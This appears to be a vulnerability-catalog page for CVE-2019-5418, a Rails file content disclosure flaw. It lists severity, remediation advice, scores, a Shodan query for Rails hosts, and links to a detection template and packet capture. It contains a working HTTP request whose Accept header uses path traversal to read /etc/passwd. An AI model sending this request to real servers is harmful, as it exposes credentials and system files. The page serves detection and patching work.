🔙 목록으로 돌아가기

CVE-2019-5418: Rails File Content Disclosure

TitleRails File Content Disclosure
Authoromarkurt
SeverityHigh
ImpactThis vulnerability can lead to unauthorized access to sensitive information stored on the server.
RemediationApply the patch provided by the Rails team or upgrade to a version that includes the fix.
CVSS Score7.5
EPSS Score0.94336
CVE IDCVE-2019-5418
CWE IDCWE-22,NVD-CWE-noinfo
Shodan Querycpe:"cpe:2.3:a:rubyonrails:rails"
Tags cve cve2019 rails lfi disclosure edb rubyonrails kev vkev vuln

🔍 Vulnerability Description

Rails <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 are susceptible to a file content disclosure vulnerability because specially crafted accept headers can cause contents of arbitrary files on the target system’s file system to be exposed.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/603.1.10 (KHTML, like Gecko) Version/10.1 Safari/603.1.10
Connection: close
Accept: ../../../../../../../../etc/passwd\{\{
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-5418.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-5418.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A